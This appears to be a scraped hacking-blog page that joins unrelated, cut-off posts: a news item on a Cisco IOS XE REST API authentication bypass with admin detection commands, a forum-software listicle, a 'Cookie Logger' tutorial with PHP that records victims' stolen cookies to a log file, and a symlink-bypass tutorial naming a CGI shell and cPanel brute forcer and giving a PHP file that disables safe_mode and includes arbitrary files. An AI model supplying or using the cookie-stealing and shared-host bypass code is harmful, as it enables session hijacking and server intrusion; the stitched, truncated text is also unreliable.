Authentication Bypass Vulnerability in Cisco REST API Let Hackers Take Control of Cisco Routers Remotely

Cisco released a security update for critical Authentication Bypass vulnerability that resides in the Cisco REST API virtual service container for Cisco IOS XE Software allows a remote attacker to bypass the authentication in managed Cisco devices.

Cisco IOS XE is an internetworking OS that mainly deployed in Cisco ARS 1000 series routers and Catalyst switches such as 3850 that operating in enterprise wired and wireless access, aggregation, core, and WAN.

An Authentication Bypass vulnerability affected the Cisco IOS XE due to an improper check performed by the area of code that manages the REST API authentication service.

Cisco REST API is an application that running in the virtual service container, a virtualized environment on a device.

An attacker could exploit the vulnerability by sending malicious HTTP requests to the targeted device. Once the target system has been successfully exploited, the attacker to obtain the token-id of an authenticated user.

If the attacker has successfully obtained the authentication token key, it allows him to bypass the device authentication and execute the system privilege via an interface of the REST API virtual service container.

The Authentication bypass vulnerability affected the following series:

Cisco 4000 Series Integrated Services Routers
Cisco ASR 1000 Series Aggregation Services Routers
Cisco Cloud Services Router 1000V Series
Cisco Integrated Services Virtual Router

According to Cisco, In order to exploit the vulnerability, the attack needs to meet with the following conditions:

The device runs an affected Cisco IOS XE Software release.
The device has installed and enabled an affected version of the Cisco REST API virtual service container.
An authorized user with administrator credentials (level 15) is authenticated to the REST API interface.

How to Find the Vulnerable Devices

In order to find whether the Cisco REST API service container is enabled, the admin can use the following command and refer the output.

router#show virtual-service detail | include Restful
Restful API Enabled, UP port: 55443

If you will not find the string Enabled, UP then your device is not affected by this vulnerability.

If the device Is using an Affected Cisco REST API Virtual Service Container Release, you can use the following privileged EXEC command.

router#show virtual-service version installed
Virtual service csr_mgmt installed version:
Name: csr_mgmt
Version: 16.09.03

If you can see the combination of the virtual service name and version listed in the output, then you can conclude that your device is using a vulnerable REST API virtual service container.

“Cisco has released a fixed version of the REST API virtual service container and released a hardened Cisco IOS XE Software that prevents installation or activation of a vulnerable container on a device”

If the device was already configured with an active vulnerable container, the IOS XE Software upgrade will deactivate the container, making the device not vulnerable.

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Cookie Logger

Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary

|Bypass Symlink on 2013 Server With Different .htaccess and Methods by Sen Haxor |

Hi, Guys, Please a wonderfull tutorial provided bt Sem;\ Today I gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods. So let's Get Started :) Note: This method is not applicable for Godaddy, Bluehost, Hostgator and Hostmonstor Servers. For This First You Need the Following Files : 1 -> Sen Haxor CGI Shell 2 -> sen.zip 3 -> passwd-bypass.php 4 -> Turbo Brute force Cpanel 5 - > Port.py First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server . Use the Following Code : Make a php.ini with the following code safe_mode=Off And ini.php with <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["file"]); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo

Hacks

Search This Blog